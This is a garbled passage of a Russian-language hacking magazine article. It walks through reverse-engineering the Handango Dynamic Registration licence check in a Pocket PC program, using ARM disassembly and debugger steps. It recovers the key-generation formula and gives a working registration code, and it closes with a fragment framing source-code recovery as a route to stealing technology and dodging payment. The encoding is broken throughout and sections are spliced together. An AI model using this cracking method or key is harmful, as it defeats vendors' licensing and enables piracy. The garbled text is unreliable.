ñòðà R3. Åñëè çíà÷åíèå â R3 ðàâíî íóëþ, òî ïåðåõîä
BNE íå îñóùåñòâëÿåòñÿ, òî åñòü ôîðìèðóåòñÿ ñîîá-
ùåíèå «The serial key you have entered is invalid». Â
ïðîòèâíîì ñëó÷àå (R3!=0) ïåðåõîä îñóùåñòâëÿåòñÿ.
Òàêèì îáðàçîì, äëÿ óñïåøíîé ðåãèñòðàöèè íåîáõî-
äèìî, ÷òîáû çíà÷åíèå, çàãðóæàåìîå â R3, áûëî îò-
ëè÷íî îò íóëÿ. Ïðîëèñòàâ êîä ïðîãðàììû íåìíîãî
âûøå, ìîæíî ïîïûòàòüñÿ íàéòè ìåñòî, ãäå ýòî çíà-
÷åíèå çàïèñûâàåòñÿ â ïàìÿòü. Íà÷àëî ôóíêöèè íà-
õîäèòñÿ ïî àäðåñó 29130. Ðàçáåðåì îñíîâíûå ìî-

ëëèèññòòèèííããèè

ñòðîêè ññîîáùåíèé ääëÿ MMessageBox
.data:0004A9EC aTheSerialKeyYo unicode 0, <The serial key you have 

entered is invalid. >

Please re-enter.>

.data:0004AA68 aRegistration_0 unicode 0, <Registration>

.data:0004AA84 aThankyouForReg unicode 0, <Thankyou for registering 

our product.>

.data:0004AAE8 aRegistration_2 unicode 0, <Registration>

.data:0004AB04 aTheTrialVersio unicode 0, <The trial version expired, 

please register to continue or you can only search randomly.>

.data:0004ABB4 aTheVersionYouA unicode 0, <The version you are using is 

trial, it will be expired % d days after that it can only search randomly.>

ñîîáùåíèå îîá óóäà÷íîé ððåãèñòðàöèè
.text:0002923C loc_2923C ; CODE XREF: .text:00029210

.text:0002923C LDR R0, =unk_4D694 

.text:00029240 MOV R1, #0

.text:00029244 LDR R2, =aRegistration_0 [çàãîëîâîê ñîîáùåíèÿ]

.text:00029248 MOV R3, #0

.text:0002924C STR R1, [R0]

.text:00029250 MOV R0, R4

.text:00029254 LDR R1, =aThankyouForReg [òåêñò îá óäà÷íîé ðåãèñòðàöèè]

.text:00029258 BL CWnd__MessageBoxW [âûâîä ñîîáùåíèÿ]

êîä ííà÷àëà ôôóíêöèè ïïðèíÿòèÿ ððåøåíèÿ
.text:00029130 STMFD SP!, {R4-R7,LR}

...

.text:0002913C LDR R3, [R5,#0x168]! 

.text:00029140 LDR R3, [R3,#-8]

.text:00029144 CMP R3, #0 [åñëè ââåäåí ïóñòîé êëþ÷] 

.text:00029148 LDREQ R1, =a00000 [âñòàâëÿåì 00000]

.text:0002914C MOVEQ R0, R5

.text:00029150 BLEQ __4CString__QAAABV0_PBD_Z ; CString::operator=(char const *)

.text:00029154 MOV R0, R5 

.text:00029158 BL CString__TrimLeft [óäàëÿåì ïðîáåëû è ò.ï. ñëåâà]

.text:0002915C MOV R0, R5

.text:00029160 BL CString__TrimRight [óäàëÿåì ïðîáåëû è ò.ï. ñïðàâà]

.text:00029164 MOV R6, R4

.text:00029168 LDR R0, [R6,#0x168]!

.text:0002916C BL _wtol [ïåðåâîäèì ñòðîêó ñ êëþ÷îì â ÷èñëî]

.text:00029170 LDR R5, =unk_4D6E8

.text:00029174 ADD R1, R4, #0x164

.text:00029178 MOV R7, R0 [êîïèðóåì êëþ÷ â R7]

.text:0002917C ADD R0, R5, #0xC

.text:00029180 BL __4CString__QAAABV0_ABV0__Z ; CString::operator=

(CString const &)

.text:00029184 MOV R3, R7,ASR#31

.text:00029188 STR R7, [R5,#0x10]

.text:0002918C MOV R1, R6

.text:00029190 STR R3, [R5,#0x14]

.text:00029194 ADD R0, R5, #8 

.text:00029198 BL __4CString__QAAABV0_ABV0__Z ; CString::operator=

(CString const &)

.text:0002919C MOV R5, #0x5A0

.text:000291A0 MOV R3, #0

.text:000291A4 ORR R5, R5, #0xC

.text:000291A8 MOV R1, #0

.text:000291AC STR R3, [R4,R5]

.text:000291B0 MOV R0, R4 [áëîêèðîâêà îêíà]

.text:000291B4 BL _EnableWindow_CWnd__QAAHH_Z ; CWnd::EnableWindow(int)

.text:000291B8 LDR R0, [R4,#0x20]

.text:000291BC MOV R3, #0 [óêàçàòåëü íà îáðàáîò÷èê — NULL]

.text:000291C0 MOV R2, #0x1F4 [500 ìñ]

.text:000291C4 MOV R1, #1

.text:000291C8 BL SetTimer [óñòàíàâëèâàåì òàéìåð]

.text:000291CC B loc_291DC [ëîêàëüíûé áåçóñëîâíûé ïåðåõîä]



ìåíòû åå ðàáîòû ñ ñàìîãî íà÷àëà (áðîñèâ âçãëÿä
íà «Êîä íà÷àëà ôóíêöèè ïðèíÿòèÿ ðåøåíèÿ»).

Ôóíêöèÿ íà÷èíàåòñÿ ñ ïðîâåðêè íà íàëè÷èå
êëþ÷à â ïîëå ââîäà. Åñëè êëþ÷ íå ââåäåí, òî åãî
çíà÷åíèå çàìåíÿåòñÿ êîäîì «00000». Äàëåå èç êëþ-
÷à óäàëÿþòñÿ âñå ïðîáåëû, ñèìâîëû ïåðåíîñà è òà-
áóëÿöèè (ôóíêöèè CString::TrimLeft è CString::Trim-
Right), çàòåì ñòðîêîâîå çíà÷åíèå êëþ÷à ïåðåâîäèò-
ñÿ â ÷èñëîâîå ôóíêöèåé _wtol. Êðîìå òîãî, â ýòîì
áëîêå êîäà íàøåãî âíèìàíèÿ òðåáóþò äâå âåùè.

Ïåðâàÿ — òî, ÷òî ïðîãðàììà íàïèñàíà ñ èñ-
ïîëüçîâàíèåì WinCE MFC, î ÷åì ãîâîðÿò ñòðîêè òè-
ïà CString::operator=(char const *) èëè CWnd__Mes-
sageBoxW. Ýòî íåñêîëüêî óñëîæíÿåò èññëåäîâà-
íèå: â îòëè÷èå îò WinAPI, ñòðîêà ïðåäñòàâëåíà íå
ïðîñòî àäðåñîì íà äàííûå â ïàìÿòè, à àäðåñîì íà
îáúåêò CString, â êîòîðîì ñîäåðæèòñÿ àäðåñ íà äàí-
íûå â ïàìÿòè. Ñîîòâåòñòâåííî, è îïåðàöèè áóäóò âû-
ïîëíÿòüñÿ íàä ýòèìè îáúåêòàìè: CString::TrimRight.

Âòîðàÿ âåùü — ýòî òàéìåð. Çäåñü íóæíî îáðàòèòü
âíèìàíèå íà ïàðàìåòð lpTimerFunc, óñòàíîâëåí-
íûé â NULL. Ýòî ãîâîðèò îá îòñóòñòâèè ñïåöèàëü-
íîãî îáðàáîò÷èêà, òî åñòü ÷åðåç 500 ìñ áóäåò ñãå-

íåðèðîâàíî ñîáûòèå WM_TIMER, êîòîðîå äîëæíî
áûòü ïåðåõâà÷åíî è îáðàáîòàíî ëèáî âíóòðè MES-
SAGE_MAP (äëÿ MFC), ëèáî âíóòðè îñíîâíîé ôóíê-
öèè îêíà (äëÿ WinAPI).

Èçó÷èì êîä ïî àäðåñó loc_291DC, êóäà îñó-
ùåñòâëÿåòñÿ áåçóñëîâíûé ëîêàëüíûé ïåðåõîä. 
C íåêîòîðîãî àäðåñà â R3 çàãðóæàåòñÿ ôëàã, åãî
ïðîâåðêà íà ðàâåíñòâî íóëþ ñîçäàåò åùå îäíî
âåòâëåíèå. Åñëè ýòîò ôëàã íå ðàâåí íóëþ, òî îêíî
ðåãèñòðàöèè ðàçáëîêèðóåòñÿ, à òàéìåð îñòàíà-
âëèâàåòñÿ è çàòåì ïðèíèìàåòñÿ ðåøåíèå îá óñ-
ïåøíîé ðåãèñòðàöèè. Åñëè æå R3 ðàâåí åäèíèöå,
ïðîèñõîäèò âûçîâ ôóíêöèè ïî àäðåñó 29594.

Ïî àäðåñó 29594 íàõîäèòñÿ ôóíêöèÿ ïðèåìà 
è ïåðåäà÷è ñîîáùåíèé. Òàêèì îáðàçîì, ôëàã, çàãðó-
æàåìûé â R3, îïðåäåëÿåò, ïóñòà ëè î÷åðåäü ñîîáùå-
íèé. Åñëè îíà íå ïóñòà, âûçîâ ôóíêöèè ïðîäîëæàåò-
ñÿ â öèêëå ñíîâà, ïîêà íå áóäåò âûñòàâëåíà åäèíèöà.

GetMessageW â êà÷åñòâå îäíîãî èç ïàðàìå-
òðîâ ïðèíèìàåò ñòðóêòóðó MSG, ñîäåðæàùóþ â ñå-
áå ïàðàìåòð message (îí îïðåäåëÿåò, êàêîå èìåííî
ñîîáùåíèå áûëî ïåðåäàíî). Óñòàíîâêà breakpoint
íà àäðåñ 295B0 ïîçâîëÿåò ïåðåõâàòèòü íåñêîëüêî
ñîîáùåíèé, èìåþùèõ ñëåäóþùèå èäåíòèôèêàòî-
ðû: 0õ0F, 0õ0113. Ñìûñë ýòèõ ñîîáùåíèé ïîìîæåò
ïîíÿòü ôàéë winuser.h, îáû÷íî îí ëåæèò â ïàïêå
\Include\Armv4 (ïðè óñòàíîâëåííîì Pocket PC 2003
SDK). Èùåì ïîëó÷åííûå êîäû è íàõîäèì ñîáûòèÿ:

WM_PAINT — 0õ0F (íå î÷åíü ïîäõîäèò)

WM_TIMER — 0õ0113 (òî, ÷òî íóæíî)

Ïîñëå GetMessageW èäåò âûçîâ DispatchMessa-
geW, êîòîðûé ïî èäåå äîëæåí ïðèâåñòè ê îáðà-
áîò÷èêó ñîîáùåíèÿ. Íî îòëàä÷èêè íå äàþò îòëà-
æèâàòü ñèñòåìíûå áèáëèîòåêè. Êàê æå óçíàòü àä-
ðåñ ôóíêöèè îáðàáîò÷èêà? Íàâåðíîå, ñïîñîáîâ
íå òàê ìíîãî, íî, åñòåñòâåííî, âñå èç íèõ î÷åíü
òðóäîåìêèå, ïîñêîëüêó ïîäðàçóìåâàþò äîëãèå ïî-
èñêè. Âïðî÷åì, ëåíü — äâèãàòåëü ïðîãðåññà, òàê
÷òî äëÿ íà÷àëà èçó÷èì ñîäåðæèìîå Strings Win-
dow. Âäðóã ïîïàäåòñÿ ÷òî-òî èíòåðåñíîå? È äåé-
ñòâèòåëüíî, âíèìàíèå äîëæíà ïðèâëå÷ü ñëåäóþ-
ùàÿ ñòðîêà:

•"%u i key * c 5 %s << 2 * + key i << +".
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Øïàðãàëêà ïïî ððàáîòå ññ IIDA èè eeVC-îîòëàä÷èêîì

I D A e V C

Çàïóñòèòü  F5 F5
Îñòàíîâèòü CTRL+F2 SHIFT+F5  
Ïðåðâàòü — —
Øàã ñî âõîäîì F7 F11 
Øàã áåç âõîäà F8 F10 
Øàã ñ âûõîäîì CTRL+F7 SHIFT+F11 
Äî êóðñîðà  F4 SHIFT+F10  
Breakpoint  F2 F9 
Ïåðåéòè íà àäðåñ  â íóæíîì îêíå âûäåëèòü è ïåðåòàùèòü àäðåñ íà íóæíîå îêíî 

íàæàòü G è ââåñòè àäðåñ èëè íàæàòü CTRL+G è ââåñòè àäðåñ

êîä ííà÷àëà ôôóíêöèè ïïðèíÿòèÿ ððåøåíèÿ
.text:000291D8 loc_291D8 ; CODE XREF: .text:000291E8

.text:000291D8 BL sub_29594

.text:000291DC loc_291DC ; CODE XREF: .text:000291CC

.text:000291DC LDR R3, [R4,R5] [÷òåíèå ôëàãà îêîí÷àíèÿ î÷åðåäè]

.text:000291E0 MOV R0, R4

.text:000291E4 CMP R3, #0 [åñëè îí ðàâåí íóëþ — ïðîäîëæàåì îáðàáîòêó]

.text:000291E8 BEQ loc_291D8 [âûçîâ ôóíêöèè îáðàáîò÷èêà ñîîáùåíèé]

.text:000291EC MOV R1, #1

.text:000291F0 BL _EnableWindow_CWnd__QAAHH_Z ; CWnd::EnableWindow(int)

.text:000291F4 LDR R0, [R4,#0x20]

.text:000291F8 MOV R1, #1

.text:000291FC BL KillTimer [îñòàíîâêà òàéìåðà]

êîä ôôóíêöèè îîáðàáîòêè ññîîáùåíèé
.text:0002959C MOV R3, #0 ; wMsgFilterMax

.text:000295A0 MOV R2, #0 ; wMsgFilterMin

.text:000295A4 MOV R1, #0 ; hWnd

.text:000295A8 ADD R0, SP, #0x20+Msg ; lpMsg

.text:000295AC BL GetMessageW [ïðèíÿòü ñîîáùåíèå]

.text:000295B0 MOVS R3, R0

.text:000295B4 ADDNE R0, SP, #0x20+Msg ; lpMsg

.text:000295B8 BLNE DispatchMessageW [îáðàáîòàòü ñîîáùåíèå]

ôîðìèðîâàíèå ññòðîêè RRPN ââ ïïàìÿòè
.text:0001CFDC MOV R1, #2 ; size

.text:0001CFE0 MOV R0, #0x80 ; num

.text:0001CFE4 BL calloc [âûäåëÿåì ìåñòî â ïàìÿòè]

.text:0001CFE8 MOV R2, R6,LSL#16

.text:0001CFEC LDR R3, =asc_48EE4

.text:0001CFF0 LDR R1, =aUIKeyC5S2KeyI ; wchar_t *

.text:0001CFF4 MOV R2, R2,ASR#16

.text:0001CFF8 MOV R4, R0

.text:0001CFFC BL swprintf [çàïèñûâàåì ñòðîêó ïî ôîðìàòó]

âèä RRPN ââ ïïàìÿòè ïïðîãðàììû
debug905:00092D90 31 00 34 00 36 00 33 00 20 00 69 00 20 00 6B 00 1.4.6.3. .i. .k.

debug905:00092DA0 65 00 79 00 20 00 2A 00 20 00 63 00 20 00 35 00 e.y. .*. .c. .5.

debug905:00092DB0 20 00 25 00 20 00 3C 00 3C 00 20 00 32 00 20 00 .%. .<.<. .2. .

debug905:00092DC0 2A 00 20 00 2B 00 20 00 6B 00 65 00 79 00 20 00 *. .+. .k.e.y. .

debug905:00092DD0 69 00 20 00 3C 00 3C 00 20 00 2B 00 00 00 00 00 i. .<.<. .+.....



Äà ýòî æå êàê ðàç Handango Dynamic Registration!
Äëÿ òîãî ÷òîáû óçíàòü, ãäå è êàê èñïîëüçóåòñÿ ýòà
ñòðîêà, ñíîâà âîñïîëüçóåìñÿ ïåðåêðåñòíûìè ññû-
ëêàìè (XREF). Èòàê, ñíà÷àëà äâàæäû ùåëêíåì ïî
ýòîé ñòðîêå â îêíå Strings window, â ðåçóëüòàòå
ïîïàäàåì â ñåêöèþ .text. Òåïåðü ïåðåõîäèì ïî
ññûëêå «DATA XREF: sub_1CAB4:off_1D03C», çà-
òåì ïî «DATA XREF: sub_1CAB4+53C».

ìîæåò ááûòü, ïïðîñòîå ââåçåíèå, à áûòü ìî-
æåò, íåäîñìîòð àâòîðà ïðèâåë íàñ ê âîò ýòîìó
áëîêó êîäà (ñìîòðè «Ôîðìèðîâàíèå ñòðîêè RPN
â ïàìÿòè»).

Ñ ïîìîùüþ ôóíêöèè calloc âûäåëÿåòñÿ ÷è-
ñòûé áëîê ïàìÿòè, çàòåì (ïðè èñïîëüçîâàíèè íàé-
äåííîé âûøå ñòðîêè â êà÷åñòâå ôîðìàòà) ôóíê-
öèåé swprintf â ýòîì áëîêå ôîðìèðóåòñÿ RPN.

Óñòàíîâèì breakpoint íà àäðåñ 1CFFC è çà-
ïóñòèì îòëàä÷èê. Ïîñëå îñòàíîâêè ìîæíî èçó÷èòü
ïåðåäàâàåìûå ïàðàìåòðû. Âîò îíè:

char *buffer — 92D90 [óêàçàòåëü 

íà ïóñòîå ìåñòî]

const char *format — "%u i key * c 5

%s << 2 * + key i << +"

argument 1 — 0x05B7 [1463]

argument 2 — "%"

×òîáû óâèäåòü ðåçóëüòàò (à èìåííî, ãîòîâóþ RPN),
íåîáõîäèìî ïåðåéòè â ïàìÿòü ïî àäðåñó 92D90 
è âûïîëíèòü ôóíêöèþ swprintf.

Êàæåòñÿ, òåïåðü âñå íåîáõîäèìûå èíãðåäè-
åíòû äëÿ ãåíåðàöèè êëþ÷à èçâåñòíû. Òàê ÷òî ìîæ-
íî îòêëþ÷èòü âñå breakpoints è íà ýòîé ðàäóæíîé
íîòå çàêîí÷èòü èññëåäîâàòåëüñêóþ ÷àñòü.

òåïåðü, ççíàÿ RRPN è Owner, ïåðåéäåì íà
ñòðàíè÷êó òåñòèðîâàíèÿ (http://developer.handango.com/Reg-

Code.jsp) è òàì ââåäåì äàííûå â ñîîòâåòñòâóþùèå ïî-
ëÿ. Èòàê, ñìîòðèì:

Owner: Getorix

RPN: 1463 i key * c 5 % << 2  + key i << +

Íàæèìàåì êíîïêó Calculate Registration

Code è ïîëó÷àåì:

The Registration Code for this user 

will be: 19539

Óáèðàåì breakpoints, çàïóñêàåì ïðîãðàììó â íîð-
ìàëüíîì ðåæèìå è ïûòàåìñÿ çàðåãèñòðèðîâàòüñÿ
ñ ïîëó÷åííûì êëþ÷îì. «Thank you for registering
our product», — ãîâîðèò Lexisgoo. 

íà ïïîñîøîê ìîæíî ñêàçàòü, ÷òî Handango
Dynamic Registration î÷åíü ðàñïðîñòðàíåíà ñðåäè

ïðîãðàìì äëÿ PocketPC, íî, êàê ìîæíî áûëî óáå-
äèòüñÿ, îíà íå ñîçäàåò íàäåæíîé çàùèòû. Êîëè÷å-
ñòâî «èññëåäîâàòåëåé» PocketPC-ïðîãðàìì ðàñòåò ñ
êàæäûì äíåì, è ìîæíî òîëüêî óäèâëÿòüñÿ àâòîðàì,
êîòîðûå èñïîëüçóþò ýòó çàùèòó, è, òåì ñàìûì, íå
òîðîïÿòñÿ îáåçîïàñèòü ñâîé ïðîãðàììíûé ïðîäóêò.

Ïðèëîæèâ ñîâñåì íåìíîãî óñèëèé, ìîæíî
ñäåëàòü ýòó çàùèòó íå òàêîé óæ è ïîäàòëèâîé. Äëÿ
íà÷àëà íàäî ñäåëàòü òàê, ÷òîáû ñòðîêà RPN íå
õðàíèëàñü â ñåêöèÿõ êîäà, äàííûõ èëè ðåñóðñîâ
öåëèêîì, — ëó÷øå íàïèñàòü ôóíêöèþ åå âîññòà-
íîâëåíèÿ â ïàìÿòè èç ìóñîðà. Ñòàíåò åùå ëó÷øå,
åñëè âîîáùå íå âîññòàíàâëèâàòü åå â ïàìÿòè, 
à ïåðåäàâàòü ïî êóñî÷êàì àëãîðèòìó ãåíåðàöèè.
Çàâåðÿþ: îäíî ýòî íàìíîãî çàòðóäíèò ðàçáîð, 
à ñêîëüêî âñåãî åùå ìîæíî ïðèäóìàòü!

CERegSpy
www.forwardlab.com
Ëþáàÿ óâàæàþùàÿ ñåáÿ ïðîãðàììà íå ìîæåò
íå çàïèñàòü ÷åãî-íèáóäü â ðååñòð, òåì áîëåå
ââåäåííûé ðåãèñòðàöèîííûé êëþ÷ èëè trial’íûé
ñ÷åò÷èê. Õîðîøî áû çíàòü, ê êàêèì êëþ÷àì
ïðîèñõîäèò îáðàùåíèå è êàêàÿ èíôîðìàöèÿ
ïðè ýòîì ïåðåäàåòñÿ. Íàì êàê ðàç ïîìîæåò 
óòèëèòà CERegSpy, êîòîðàÿ çàíèìàåòñÿ ìîíè-
òîðèíãîì API îáðàùåíèé ê ðååñòðó. 
Íàæèìàåì «start», çàïóñêàåì èññëåäóåìóþ 
ïðîãðàììó, çàêðûâàåì åå, æìåì «stop» è èçó-
÷àåì ïåðåõâà÷åííûå îáðàùåíèÿ. Âñå ïðîñòî. 
Åùå óòèëèòà ïîçâîëÿåò
âûáèðàòü ôóíêöèè, êî-
òîðûå íåîáõîäèìî ïå-
ðåõâàòûâàòü, ÷òî î÷åíü
óäîáíî äëÿ îòñåèâàíèÿ
ëèøíåãî.

SKTracker
http://s-kk-ttools.com
Ýòà ïðîãðàììà ïîçâîëÿåò îòñëåäèòü èçìåíåíèÿ, ïðîèçîøåäøèå íà ÊÏÊ. Ñíà÷à-
ëà ìû çàïèñûâàåì òåêóùåå ñîñòîÿíèå ôàéëîâîé ñèñòåìû, ñèñòåìíîãî ðååñòðà
èëè ñèñòåìíûõ ÁÄ, ïîòîì, ïîñëå îïåðàöèé ñ ïîäîïûòíûì ïðèëîæåíèåì, ñíîâà
çàïèñûâàåì òåêóùåå ñîñòîÿíèå è ñðàâíèâàåì ïîëó÷åííîå. Òàêæå èç îêíà ïðîñ-
ìîòðà ìîæíî çàïóñòèòü ôàéëîâûé ìåíåäæåð èëè ðåäàêòîð ðååñòðà, óäàëèòü íî-
âûå ôàéëû è êëþ÷è ðååñòðà, ýêñïîðòèðîâàòü äàííûå â òåêñòîâûé ôàéë.

PEinfo 
http://s-kk.al.ru/wincepdaru.html
Êàê âèäíî èç íàçâàíèÿ, 
îñíîâíîå íàçíà÷åíèå
ïðîãðàììû — ïîêàçû-
âàòü ñîäåðæèìîå PE-hea-
der èñïîëíÿåìûõ ôàéëîâ,
íî ðàçðàáîò÷èêè ïîøëè
äàëüøå è äîáàâèëè âîç-
ìîæíîñòü ïðîñìàòðèâàòü
è ðåäàêòèðîâàòü hex-êîä,
ðåñóðñû è ìíîãîå äðóãîå —
ïîëíîöåííûé ðåäàêòîð
èñïîëíÿåìîãî ôàéëà.

SKHexEd
http://s-kk-ttools.com
Íàâåðíîå, ëó÷øèé HEX-ðåäàêòîð äëÿ ÊÏÊ. 
Ïîçâîëÿåò íå òîëüêî ïðîñìàòðèâàòü è ðåäàêòè-
ðîâàòü áèíàðíûå ôàéëû, íî è ïðîèçâîäèòü ïîèñê 

â ðåæèìàõ hex, ascii, un-
icode, âûäåëÿòü áëîêè
ïîäñâåòêîé, ñðàâíèâàòü
ôàéëû ñ ñîõðàíåíèåì
ðåçóëüòàòà, êîíâåðòè-
ðîâàòü çíà÷åíèÿ è íà-
ñòðàèâàòü ñèñòåìíûå
øðèôòû.

ïðåäâàðèòåëüíîå 
èññëåäîâàíèå 
ñ èñïîëüçîâàíèåì ÊÏÊ

HHaannddaannggoo 
DDyynnaammiicc RReeggiissttrraattiioonn
HANDAGO ÇÀÍÈÌÀÅÒÑß ÏÐÎÄÀÆÅÉ ÏÐÎÃÐÀÌÌÍÎÃÎ ÎÁÅÑÏÅ×ÅÍÈß ÐÀÇËÈ×ÍÛÕ ÏÐÎÈÇ-
ÂÎÄÈÒÅËÅÉ (ÍÀÏÐÈÌÅÐ RESCO), ÏÐÅÄËÀÃÀß ÏÎÑÒÀÂÙÈÊÀÌ ÇÀÙÈÒÈÒÜ ÏÐÎÄÓÊÒÛ Ñ ÏÎ-
ÌÎÙÜÞ ÑÎÁÑÒÂÅÍÍÎÉ ÐÀÇÐÀÁÎÒÊÈ ÊÎÌÏÀÍÈÈ — HANDANGO DYNAMIC REGISTRATION,
ÊÎÒÎÐÀß ÏÐÅÄÑÒÀÂËßÅÒ ÑÎÁÎÉ ÀËÃÎÐÈÒÌ ÃÅÍÅÐÀÖÈÈ ÊËÞ×À Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ
RPN (ÎÁÐÀÒÍÎÉ ÏÎËÜÑÊÎÉ ÇÀÏÈÑÈ). Â ÒÅ ÄÀËÅÊÈÅ ÂÐÅÌÅÍÀ, ÊÎÃÄÀ ÝÂÌ ÁÛËÈ ÁÎËÜ-
ØÈÌÈ, ÝÒÀ ÔÎÐÌÀ ÇÀÏÈÑÈ ÁÛËÀ ÁÎËÅÅ ÈÇÂÅÑÒÍÀ Â ÊÐÓÃÀÕ ÏÐÎÃÐÀÌÌÈÑÒÎÂ,
ÏÎÑÊÎËÜÊÓ ÎÍÀ ÏÎÇÂÎËßÅÒ ÇÀÏÈÑÀÒÜ ËÞÁÓÞ ÌÀÒÅÌÀÒÈ×ÅÑÊÓÞ ÔÎÐÌÓËÓ ÒÀÊÈÌ
ÎÁÐÀÇÎÌ, ×ÒÎÁÛ ÝÂÌ ÑÌÎÃËÀ ÏÐÎ×ÈÒÀÒÜ È ÂÛÏÎËÍÈÒÜ ÅÅ ÇÀ ÎÄÈÍ ÏÐÎÕÎÄ, ÁÅÇ
ÂÎÇÂÐÀÒÎÂ. ÍÀÏÐÈÌÅÐ, Ó ÍÀÑ ÅÑÒÜ ÔÎÐÌÓËÀ (((I == 0) * 123) + KEY) + (C * 4). ÑÍÀ×ÀËÀ
ÂÛÏÎËÍÈÒÑß ÄÅÉÑÒÂÈÅ I==0, ÏÎÒÎÌ (I==0) * 123, ÇÀÒÅÌ ((I == 0) * 123) + KEY, ÄÀËÅÅ C * 4.
ÍÀÊÎÍÅÖ, (((I == 0) * 123) + KEY) + (C * 4). RPN ÒÐÅÁÓÅÒ, ×ÒÎÁÛ ÑÍÀ×ÀËÀ ÁÛËÈ ÇÀÏÈÑÀÍÛ
ÎÏÅÐÀÍÄÛ, À ÏÎÒÎÌ — ÑÀÌÀ ÎÏÅÐÀÖÈß. ÒÎÃÄÀ ÍÀØÀ ÔÎÐÌÓËÀ ÁÓÄÅÒ ÂÛÃËßÄÅÒÜ ÒÀÊ: 
I 0 == 123 * KEY + C 4 * +

ÀËÃÎÐÈÒÌ HANDAGOO ÈÑÏÎËÜÇÓÅÒ ÄËß ÃÅÍÅÐÀÖÈÈ ÊËÞ×À ÑËÅÄÓÞÙÈÉ ÏÐÈÍÖÈÏ. 
ÄËß ÊÀÆÄÎÉ ÁÓÊÂÛ ÈÌÅÍÈ (OWNER) ÂÛÇÛÂÀÅÒÑß ÔÓÍÊÖÈß KEY = F(C,I,KEY), ÃÄÅ KEY —
ÊËÞ×, ÏÅÐÅÄÀÞÙÈÉÑß ÍÀ ÑËÅÄÓÞÙÈÉ ØÀÃ, Ñ — ÒÅÊÓÙÀß ÄËß ÄÀÍÍÎÃÎ ØÀÃÀ ÁÓÊÂÀ
ÈÌÅÍÈ, I — ÏÎÇÈÖÈß ÝÒÎÉ ÁÓÊÂÛ, À F() — ÑÎÁÑÒÂÅÍÍÎ ÔÓÍÊÖÈß, ÐÅÀËÈÇÓÞÙÀß RPN.
ÏÎ ÎÊÎÍ×ÀÍÈÈ ÐÀÁÎÒÛ ÏÅÐÅÌÅÍÍÀß KEY ÄÎËÆÍÀ ÑÎÄÅÐÆÀÒÜ ÏßÒÈÇÍÀ×ÍÛÉ ÊËÞ×,
ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÉ ÂÂÅÄÅÍÍÎÌÓ ÈÌÅÍÈ. ÏÎÄÐÎÁÍÎ ÀËÃÎÐÈÒÌ ÐÀÁÎÒÛ ÐÀÑÑÌÎÒÐÅÍ
ÍÀ ÎÔÈÖÈÀËÜÍÎÌ ÑÀÉÒÅ HANDAGOO ÄËß ÐÀÇÐÀÁÎÒ×ÈÊÎÂ (http/developer.handango.com/

developerinformation.jsp?siteid=1&jid=e5fe799f7x8c843f8565efc72776d3ac&ckey=dev_dynamicregistration&pageid=6).
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Çà÷åì íóæíî âîññòàíàâëèâàòü èñõîäíûé êîä?
Åñòü äâå îñíîâíûå ïðè÷èíû. Ïåðâàÿ — ýòî ïðî-
ìûøëåííûé øïèîíàæ. Ê ïðèìåðó, íà ìèðîâîì
ðûíêå èìååòñÿ îêîëî äåñÿòêà êîìïàíèé, ïðîèçâî-
äÿùèõ Grid control. Íà ñåãîäíÿøíèé äåíü òðè-÷å-
òûðå êîìïàíèè, òî åñòü òðîéêà ëèäåðîâ, àêòèâíî
áîðþòñÿ çà ïîêóïàòåëåé, ïðèâíîñÿ â ñâîé Grid
control ÷òî-òî íîâîå. Åñëè íîó-õàó íà÷èíàåò ïîëü-
çîâàòüñÿ óñïåõîì è îäèí èç êîíêóðåíòîâ ïîëó÷àåò
ñåðüåçíûå ïðåèìóùåñòâà íà ýòîì ðûíêå, òî è âîç-
íèêàåò ñèòóàöèÿ, êîòîðàÿ ñîáëàçíÿåò êîíêóðåíòîâ
ïðîíèêíóòü â äåáðè òåõíîëîãèè, ÷òîáû âíåäðèòü
åå â ñâîé ïðîäóêò.

Èòàê, ïåðâàÿ ïðè÷èíà — ýòî âîññòàíîâëåíèå
èñõîäíîãî êîäà äëÿ êðàæè òåõíîëîãèé.

Âòîðàÿ ïðè÷èíà — êðàæà ñàìîãî ïðîäóêòà
ðàäè óêëîíåíèÿ îò åãî îïëàòû. Íà äàííûé ìî-
ìåíò ìîðàëü áàñíè òàêîâà, ÷òî, ïîìåíÿâ íàçâà-
íèÿ êëàññîâ è namespace'îâ, ìîæíî ñ ëåãêîñòüþ
óòâåðæäàòü: «Êîìïîíåíò áûë íàïèñàí êåì-òî
äðóãèì ;). Íàñòîÿùèå ðàçðàáîò÷èêè íå ñìîãóò
äîêàçàòü ñâîèõ àâòîðñêèõ ïðàâ». È ïî÷åìó æå
ñóùåñòâóþò ýòè ïðè÷èíû? Åñëè îòáðîñèòü ýòè-
÷åñêóþ è çàêîííóþ ñòîðîíû âîïðîñà, ïðèäåì ê
âûâîäó î òîì, ÷òî êðàæà ÷óæîãî òðóäà ïðèíîñèò

áîëüøóþ ýêîíîìè÷åñêóþ âûãîäó — ýêîíîìèì
âðåìÿ è äåíüãè. Êîíå÷íî, ìû ñ òîáîé — íå ñòî-
ðîííèêè íåçàêîííûõ äåë, ïîýòîìó áóäåì çíàêî-
ìèòüñÿ ñ äàííîé òåõíîëîãèåé â ÷èñòî îáðàçîâà-
òåëüíûõ öåëÿõ.

âîññòàíîâëåíèå èèñõîäíîãî êêîäà äîñòèãàåòñÿ
áëàãîäàðÿ àíàëèçó èñïîëíÿåìîãî ôàéëà. Öåëü
àíàëèçà — íàéòè ÿçûêîâûå êîíñòðóêöèè èñõîäíî-
ãî êîäà, õàðàêòåðíûå äëÿ äàííîãî ó÷àñòêà èñïîë-
íÿåìîãî êîäà (òàê íàçûâàåìàÿ òåõíîëîãèÿ «äåêîì-
ïèëÿöèÿ»). Îäíàêî äåêîìïèëÿöèÿ îáû÷íî èäåò â
äâà ïðîõîäà. Ïðè ïåðâîì ïðîèñõîäèò äèçàññåì-
áëèðîâàíèå àíàëèçàòîðà — ÷òîáû ïåðâîíà÷àëüíî
ðàçîáðàòü èñïîëíÿåìûé ôàéë è ñîñòàâèòü ñòðóê-
òóðû äëÿ äàëüíåéøåãî àíàëèçà êîäà. Äèçàññåì-
áëèðîâàíèå — ýòî ïåðåâîä èñïîëíÿåìîãî êîäà â
êîä íåêèõ àáñòðàêòíûõ êîìàíä. Íå ñìåøèâàòü ïî-
íÿòèÿ äèçàññåìáëèðîâàíèÿ è äåêîìïèëÿöèè! 
Â .NET äèçàññåìáëèðîâàíèå âûäàåò ëèñòèíã IL-êî-
ìàíä, à äåêîìïèëÿöèÿ — èñõîäíûé êîä íà îäíîì
